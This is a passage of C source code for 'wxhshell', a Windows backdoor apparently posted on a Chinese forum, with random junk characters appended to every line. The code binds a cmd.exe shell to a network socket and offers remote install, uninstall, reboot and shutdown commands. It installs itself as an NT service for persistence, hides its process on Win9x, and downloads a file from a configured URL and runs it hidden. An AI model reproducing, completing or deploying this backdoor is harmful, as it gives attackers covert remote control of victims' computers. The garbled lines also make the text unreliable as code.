    switch(cmd[0]) { kBF.TGT[l  
  DjzHEqiH  
  // 帮助 H > Y0R  
  case '?': { FBDRbJ su  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F?h{IH f  
    break; {0~ Sj%Ze  
  } }K<% h  
  // 安装 ^?-SMcUHB  
  case 'i': { 0#$<2  
    if(Install()) qe M`z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:' 0  
    else ,q[aV 6kO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \&tv *  
    break; }02#[vg  
    } nw.,`M,N  
  // 卸载 kfb*|  
  case 'r': { cD&QN9  
    if(Uninstall()) Dm^Bk?#(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A@:h\<  
    else )uG7 DR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y~16o   
    break; ;_bZH%o.  
    } U;PGBoe  
  // 显示 wxhshell 所在路径 `lI(SS]w  
  case 'p': { \:7G1_o  
    char svExeFile[MAX_PATH]; pv3SAO4  
    strcpy(svExeFile,"\n\r"); #Qir%\*V  
      strcat(svExeFile,ExeFile); zc1y)s0G  
        send(wsh,svExeFile,strlen(svExeFile),0); (SH< ]@s  
    break; sN"JVJXi  
    } 9i^dQV.U=  
  // 重启 ET2^1X#j  
  case 'b': { ^/"[jq3F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hN#A3FFo L  
    if(Boot(REBOOT)) ftaGu-d%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JI)@h 4b  
    else { .()|0A B&g  
    closesocket(wsh); 5*~]=(BE  
    ExitThread(0); cN{(XmX5n  
    } )(4.7>  
    break; E((U=P}+g  
    } goJK~d8M*  
  // 关机 Xc>M_%+ R  
  case 'd': { VuU{7:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %I`%N2ss  
    if(Boot(SHUTDOWN)) ?QbxC,& i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Z11V9Jk  
    else { Q;h6F{i  
    closesocket(wsh); vV(?A  
    ExitThread(0); }=7? & b  
    } 2:8p>^g=  
    break; CyHaFUbZ  
    } _NwB7@ e  
  // 获取shell D#8uj=/%  
  case 's': { DI>SW%)>  
    CmdShell(wsh); d?9b6k?  
    closesocket(wsh); /Wx({N'h$  
    ExitThread(0); Kw/7X[|'G  
    break; %}`zq8Q;  
  } _MmSi4]yd  
  // 退出 [yyL2=7  
  case 'x': { $'I-z.GV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dr_ (u<[  
    CloseIt(wsh); zJMm=Mw^  
    break; >QA;02  
    } ^!FLi7X  
  // 离开 .XZq6iF9  
  case 'q': { l`mNOQ@}'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lx)Bj6  
    closesocket(wsh); Q 1:7 9  
    WSACleanup(); F5+)=P#  
    exit(1); (q 0wV3Qv  
    break; rBLcj;,  
        } 4.t72*ML  
  } R=co2 5  
  } LBw$K0  
}w|a^=HAp  
  // 提示信息 g> <*qd?t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); izvwXC  
} ';vL j1v  
  } _U<r@  
E3~Wyfd7  
  return; x("V +y*  
} 1SwKd*aRR?  
phc9esz  
// shell模块句柄 JNx;/6'd,  
int CmdShell(SOCKET sock) 3~ptD5@WF  
{ nf2[hx@=U  
STARTUPINFO si; $xK*TJ(k  
ZeroMemory(&si,sizeof(si)); =-dg]Ol8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l |Y?]LNr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9sId2py]W  
PROCESS_INFORMATION ProcessInfo; Z`jSpgWR  
char cmdline[]="cmd"; VUQx"R9-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "3Lq/mJYnZ  
  return 0; OMz_xm.UPi  
} QI WfGVc-  
EyK F5TP0  
// 自身启动模式 n#dvBK0M  
int StartFromService(void) NGs@z^&V  
{ i2y E-sgF  
typedef struct p_:bt7 B  
{ "0sk(kT  
  DWORD ExitStatus; !zR1CM  
  DWORD PebBaseAddress; R[bI4|t  
  DWORD AffinityMask; #*zl;h1(  
  DWORD BasePriority; >S[NI<=8S  
  ULONG UniqueProcessId; 7,IH7l|G  
  ULONG InheritedFromUniqueProcessId; C?h}n4\B^?  
}   PROCESS_BASIC_INFORMATION; aBblP8)8;K  
7O]$2  
PROCNTQSIP NtQueryInformationProcess; )1ct%rue  
\-Ipa59U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H\^zp5/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~/R bYvyA  
;W2Rl%z88  
  HANDLE             hProcess; C_rA'Hy  
  PROCESS_BASIC_INFORMATION pbi; WW[Gne  
)d =8)9B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @\}w8  
  if(NULL == hInst ) return 0; T:|PSJc0  
RK\$>KFE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nN*:"F/^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); av:9kPKm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q G8X{'  
*,y .%`o  
  if (!NtQueryInformationProcess) return 0; 7@u:F?c  
8Ben}j)H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =P)H3|AdIm  
  if(!hProcess) return 0; 8;q2W F{AX  
C9Xj)5k@R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (d ?sFwOt\  
|<Rf^"T  
  CloseHandle(hProcess); ]dU/;8/%  
V")u y&Ob  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tEl_a~s*3?  
if(hProcess==NULL) return 0; (;T g1$  
Sf"]enwB  
HMODULE hMod; xL#UMvZ>;h  
char procName[255]; ]R%+  
unsigned long cbNeeded; 1@6FV x  
6U?z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); grbUR)f<?-  
?_BK(kL_  
  CloseHandle(hProcess); K)_DaTmi)  
cwC-)#R']  
if(strstr(procName,"services")) return 1; // 以服务启动 90[?)s  
>u/ T`$  
  return 0; // 注册表启动 =1e>$E#  
} Y-y<gW  
9yWQ}h  
// 主模块 >j}.~$6dj_  
int StartWxhshell(LPSTR lpCmdLine) *)0-N!N#)  
{ =ec"G2$?"  
  SOCKET wsl; |x/00XhS  
BOOL val=TRUE; uh 3yiDj@a  
  int port=0; |4?O4QN  
  struct sockaddr_in door; M.h8Kr!.  
w^N3Ma  
  if(wscfg.ws_autoins) Install(); s;!Tz)  
T$vDw|KSVP  
port=atoi(lpCmdLine); # *)X+*  
:}{,u6\  
if(port<=0) port=wscfg.ws_port; @q<F_'7is  
m |%ly  
  WSADATA data; l 4e`-7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TD6MP9L  
si,W.9rU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SO8b~N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m{{ 8#@g  
  door.sin_family = AF_INET; F?*ko,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JR^#NefJ  
  door.sin_port = htons(port); N2/t  
`zjbyY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -JwwD6D  
closesocket(wsl); &vHfuM`  
return 1; S*9qpes-m|  
} qdY*y&}"J  
Udl8?EVSz  
  if(listen(wsl,2) == INVALID_SOCKET) { %wk3&EC.  
closesocket(wsl); y~-dQ7r  
return 1; 4!)=!sL ;  
} \$[; d:9j  
  Wxhshell(wsl); ]aqg{XdGt  
  WSACleanup(); pj/w9j G6  
ML-?#jNa<  
return 0; SU80i`  
dWDM{t\}\  
} \Zbi`;m?  
{ZR>`'^:  
// 以NT服务方式启动 hsEQ6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R\^XF8n6/  
{ ml\2%07  
DWORD   status = 0; ,,o5hD0V9  
  DWORD   specificError = 0xfffffff; MbJ|6g99  
,bnrVa(I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Uh=@8v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zM+eb| >cr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '%\FT-{  
  serviceStatus.dwWin32ExitCode     = 0; 4 /Q4sE~<  
  serviceStatus.dwServiceSpecificExitCode = 0; ed:[^#Lj  
  serviceStatus.dwCheckPoint       = 0; nQ}$jOU &  
  serviceStatus.dwWaitHint       = 0; rUOl+p_47  
 *CS2ndp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y}UVC|Ef  
  if (hServiceStatusHandle==0) return; MF]EX  
^mZeAW  
status = GetLastError(); H(,D5y`k1  
  if (status!=NO_ERROR) V3t;V-Lkt  
{ nLcOz3h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K%iA-h  
    serviceStatus.dwCheckPoint       = 0; 9Atnnx]n  
    serviceStatus.dwWaitHint       = 0; NR|t~C+  
    serviceStatus.dwWin32ExitCode     = status; O=2SDuBZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; l %M0^d6M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h.WvPZ2U  
    return; Ka|, qkb  
  } C<u<:4^H  
&|&tPD/dJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T=D|jt  
  serviceStatus.dwCheckPoint       = 0; y)]L>o~  
  serviceStatus.dwWaitHint       = 0; 7v{s?h->$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \;F_QV  
} *Z:'jV<  
o b,%); m  
// 处理NT服务事件,比如:启动、停止 I {&8iUN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WPbG3FrL!  
{ >J,y1jzJ  
switch(fdwControl) \I[50eh|  
{ .QVZ!  
case SERVICE_CONTROL_STOP: N_^s;Qj  
  serviceStatus.dwWin32ExitCode = 0; N`1W"Rx!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .lE7v -e  
  serviceStatus.dwCheckPoint   = 0; TOC2[m c'  
  serviceStatus.dwWaitHint     = 0; gSn9L)k(O  
  { =/zb$d cz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `+?g96   
  } G}8Zkz@+  
  return; ~P;KO40K  
case SERVICE_CONTROL_PAUSE: k/]4L!/ T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h qT6]*  
  break; G,fh/E+  
case SERVICE_CONTROL_CONTINUE: -H-:b7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  tQSJ"Q  
  break; >u R0 Xs;V  
case SERVICE_CONTROL_INTERROGATE: =QQTHL{3  
  break; %S9YjMR@  
}; &U7INUL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); waRK$/b (  
} GX-V|hLaGX  
BfUM+RC%5  
// 标准应用程序主函数 uS}qy-8J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @})]4H  
{ ;2\+O"}4H  
/.m &rS  
// 获取操作系统版本 @eOD+h'  
OsIsNt=GetOsVer(); ) u Sg;B4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q"C(`S.@  
i$ CN{c*  
  // 从命令行安装 7>,(QHl  
  if(strpbrk(lpCmdLine,"iI")) Install(); !]*Cwbh. u  
?=#vp /  
  // 下载执行文件 o +KDK{MD  
if(wscfg.ws_downexe) { pB0p?D)n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +$y%H  
  WinExec(wscfg.ws_filenam,SW_HIDE); K0xka[x=(  
} YggeKN  
&'KJh+jJ  
if(!OsIsNt) { 4M,Q{G|e  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z(c3GmY  
HideProc(); -{O>'9'1A  
StartWxhshell(lpCmdLine); MFzJ 8^.1R  
} b;k3B7<  
else R.'-jvO  
  if(StartFromService()) h}$g}f%$+  
  // 以服务方式启动 :)=>,XwL8  
  StartServiceCtrlDispatcher(DispatchTable); R;l;;dC=  
else l\t\DX"s_  
  // 普通方式启动 -'%>Fon  
  StartWxhshell(lpCmdLine); 1~aP)q  
o4PJ9x5R!  
return 0; jRGslak;  
}
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只看该作者 1 发表于: 2006-10-10
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